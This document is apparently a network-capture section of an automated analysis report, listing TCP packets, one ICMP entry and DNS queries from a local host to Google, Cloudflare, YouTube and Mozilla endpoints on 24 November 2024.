Nov 24, 2024 04:23:50.497438908 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.498483896 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.504034042 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.504168034 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.509377956 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.509500980 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.514585972 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.514699936 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.520239115 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.520344019 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.523427963 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.525614023 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.525715113 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.531122923 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.531215906 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.537610054 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.537621021 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.542258024 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.542360067 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.547646999 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.547784090 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.548763990 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.554037094 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.554156065 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.558933973 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.559031963 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.564275026 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.564363956 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.570466042 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.570554972 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.575138092 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.575200081 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.579174042 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.580200911 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.580302000 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.586448908 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.586569071 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.591567993 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.591676950 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.597194910 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.597306967 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.602513075 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.602579117 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.603923082 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.608004093 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.608123064 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.614090919 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.614191055 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.619342089 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.619456053 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.641695976 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.649962902 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.650060892 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.655605078 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.655726910 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.661401987 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.661468029 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.666786909 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.666902065 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.672106028 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.672204971 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.675851107 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.681042910 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.681139946 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.692907095 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.693048954 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.702805042 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.712085962 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.712212086 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.731771946 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.731844902 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.741941929 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.742063999 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.742125034 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.750051022 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.750133991 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.752712965 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.752839088 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.756865025 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.756988049 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.764596939 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.764734030 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.768126965 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.768199921 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.768449068 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.773626089 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.773752928 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.780210972 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.780251026 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.785056114 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.785197973 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.791374922 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.791393995 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.791563034 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.795068979 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.795192957 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.836766958 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.861835003 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.862828016 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.865091085 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.871936083 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:50.900403976 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.904963017 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:50.915399075 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:51.186243057 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.186279058 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.186307907 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.186323881 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.186341047 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.186434031 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.186451912 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.187102079 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.187195063 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.187239885 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:51.189152002 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.189305067 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:51.192363977 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:51.212107897 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.212390900 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.212946892 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.213077068 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.224997997 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.227164984 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:51.231225014 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.231334925 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.239533901 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:51.241936922 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.243077993 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:51.259577036 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.259673119 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.266114950 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.266860008 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.513825893 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.540343046 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.545532942 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.546385050 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.546659946 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.547070980 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.547096014 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.548557997 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.548665047 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.562809944 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.590929031 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:51.593528986 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.593559027 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.593631983 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.596358061 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:51.597865105 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:51.598191977 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.598918915 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.599351883 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.599611998 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:51.599699020 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:51.599931002 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:51.600069046 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:52.733266115 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:52.733457088 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:52.733505011 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:52.733516932 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:52.733580112 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:52.735637903 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:52.735693932 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:52.736696959 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:52.737101078 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:52.737267971 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:52.737549067 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.065432072 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.065500021 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.065673113 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.066169024 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.106733084 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.106801987 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.106812000 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.107543945 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.107625008 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.110014915 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.112406969 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.114595890 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.124892950 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:53.152937889 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.249953032 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.300653934 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:53.300874949 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:53.378300905 CET	53	62996	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:53.442483902 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.449353933 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:53.449378014 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:53.450320005 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:53.487657070 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:53.578313112 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.578972101 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.588366985 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:53.589617968 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.633516073 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:53.634207010 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:53.634531975 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:53.639336109 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:53.798665047 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:53.914248943 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:53.914319038 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:53.917695999 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.918251038 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:53.926393986 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.941749096 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.941760063 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:53.946918964 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.946966887 CET	57681	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:53.947804928 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:53.949145079 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:53.949275970 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:54.009505033 CET	50818	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:54.009665966 CET	54844	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:54.146418095 CET	53	50818	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:54.146953106 CET	53	54844	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:54.266309023 CET	443	57681	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:54.275266886 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:54.282628059 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:54.283662081 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:54.283953905 CET	443	65057	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:54.284122944 CET	65057	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:54.286865950 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:54.286907911 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:54.286917925 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:54.287116051 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:54.287190914 CET	59169	443	192.168.2.5	172.253.63.84
Nov 24, 2024 04:23:54.642638922 CET	443	59169	172.253.63.84	192.168.2.5
Nov 24, 2024 04:23:55.363591909 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.675774097 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.924086094 CET	60148	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:56.061793089 CET	53	60148	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:56.063541889 CET	53304	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:56.192848921 CET	56578	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:56.284570932 CET	53	53304	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:56.285263062 CET	52726	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:56.287281036 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.330092907 CET	53	56578	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:56.331053019 CET	59238	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:56.390711069 CET	57643	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:56.422857046 CET	53	52726	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:56.468199968 CET	53	59238	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:56.527606010 CET	53	57643	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:56.539577007 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.539725065 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.540213108 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.545398951 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.545456886 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.545476913 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.545490026 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.546175003 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.546175957 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.547336102 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.548137903 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.555198908 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.586133003 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.619441986 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.621438980 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.880002022 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.880120039 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.880464077 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.880525112 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.917735100 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.918185949 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.933725119 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.934139013 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.939239979 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.944189072 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.953197002 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:57.068097115 CET	65087	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:57.243412971 CET	49171	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:57.279551029 CET	53	65087	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:57.280174971 CET	59029	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:57.380426884 CET	53	49171	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:57.387413025 CET	53825	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:57.420850992 CET	53	59029	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:57.446238041 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:57.526973963 CET	53	53825	1.1.1.1	192.168.2.5
Nov 24, 2024 04:23:57.527628899 CET	54717	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:23:57.664469004 CET	53	54717	1.1.1.1	192.168.2.5
Nov 24, 2024 04:24:00.197557926 CET	60899	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:24:00.197695971 CET	62357	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:24:00.334606886 CET	53	60899	1.1.1.1	192.168.2.5
Nov 24, 2024 04:24:00.334736109 CET	53	62357	1.1.1.1	192.168.2.5
Nov 24, 2024 04:24:00.946161032 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:24:00.946206093 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:24:01.279058933 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:24:01.309418917 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:24:01.321120024 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:24:01.321173906 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:24:01.321427107 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:24:01.356219053 CET	65281	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:24:01.678421021 CET	443	65281	142.250.80.110	192.168.2.5
Nov 24, 2024 04:24:02.374427080 CET	53054	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:24:02.512442112 CET	53	53054	1.1.1.1	192.168.2.5
Nov 24, 2024 04:24:04.107546091 CET	54994	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:24:04.107634068 CET	52491	53	192.168.2.5	1.1.1.1
Nov 24, 2024 04:24:04.245033026 CET	53	54994	1.1.1.1	192.168.2.5
Nov 24, 2024 04:24:04.246104956 CET	53	52491	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 24, 2024 04:23:39.815244913 CET	192.168.2.5	1.1.1.1	c299	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 04:23:32.449635029 CET	192.168.2.5	1.1.1.1	0x67e7	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:32.450084925 CET	192.168.2.5	1.1.1.1	0x3fd0	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Nov 24, 2024 04:23:35.864058018 CET	192.168.2.5	1.1.1.1	0xbeb2	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:35.864723921 CET	192.168.2.5	1.1.1.1	0x10e1	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Nov 24, 2024 04:23:38.180325031 CET	192.168.2.5	1.1.1.1	0x70c3	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:38.180589914 CET	192.168.2.5	1.1.1.1	0x1a5a	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 04:23:40.298392057 CET	192.168.2.5	1.1.1.1	0x357d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.298753977 CET	192.168.2.5	1.1.1.1	0xd09	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 04:23:40.299166918 CET	192.168.2.5	1.1.1.1	0xa294	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.299341917 CET	192.168.2.5	1.1.1.1	0xeec0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 04:23:40.308674097 CET	192.168.2.5	1.1.1.1	0xafe1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:40.308819056 CET	192.168.2.5	1.1.1.1	0x3dc1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 04:23:41.118644953 CET	192.168.2.5	1.1.1.1	0xfc7f	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:41.118870020 CET	192.168.2.5	1.1.1.1	0xc2b6	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 24, 2024 04:23:42.274245024 CET	192.168.2.5	1.1.1.1	0x938d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:42.461013079 CET	192.168.2.5	1.1.1.1	0x6527	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 04:23:44.170304060 CET	192.168.2.5	1.1.1.1	0x31c5	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.170891047 CET	192.168.2.5	1.1.1.1	0x7e4f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.318234921 CET	192.168.2.5	1.1.1.1	0xd73a	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.318423986 CET	192.168.2.5	1.1.1.1	0x6f54	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 04:23:44.458780050 CET	192.168.2.5	1.1.1.1	0xe3e7	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
